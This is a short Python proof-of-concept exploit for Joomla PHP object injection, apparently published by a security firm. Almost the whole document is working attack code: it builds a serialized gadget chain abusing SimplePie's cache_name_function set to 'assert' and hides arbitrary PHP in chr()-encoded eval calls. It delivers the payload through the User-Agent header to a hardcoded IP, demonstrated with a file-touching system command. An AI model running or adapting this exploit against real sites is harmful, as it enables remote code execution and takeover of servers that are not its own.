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| 1 | ''' | |
| 2 | Simple PoC for Joomla Object Injection. | |
| 3 | Gary @ Sec-1 ltd | |
| 4 | http://www.sec-1.com/ | |
| 5 | ''' | |
| 6 | ||
| 7 | import requests # easy_install requests | |
| 8 | ||
| 9 | def get_url(url, user_agent): | |
| 10 | ||
| 11 | headers = {
| |
| 12 | 'User-Agent': user_agent | |
| 13 | } | |
| 14 | cookies = requests.get(url,headers=headers).cookies | |
| 15 | for _ in range(3): | |
| 16 | response = requests.get(url, headers=headers,cookies=cookies) | |
| 17 | return response | |
| 18 | ||
| 19 | def php_str_noquotes(data): | |
| 20 | "Convert string to chr(xx).chr(xx) for use in php" | |
| 21 | encoded = "" | |
| 22 | for char in data: | |
| 23 | encoded += "chr({0}).".format(ord(char))
| |
| 24 | ||
| 25 | return encoded[:-1] | |
| 26 | ||
| 27 | ||
| 28 | def generate_payload(php_payload): | |
| 29 | ||
| 30 | php_payload = "eval({0})".format(php_str_noquotes(php_payload))
| |
| 31 | ||
| 32 | terminate = '\xf0\xfd\xfd\xfd'; | |
| 33 | exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
| |
| 34 | injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
| |
| 35 | exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
| |
| 36 | exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
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| 37 | ||
| 38 | return exploit_template | |
| 39 | ||
| 40 | ||
| 41 | ||
| 42 | pl = generate_payload("system('touch /tmp/fx');")
| |
| 43 | ||
| 44 | print get_url("http://172.31.6.242/", pl) |
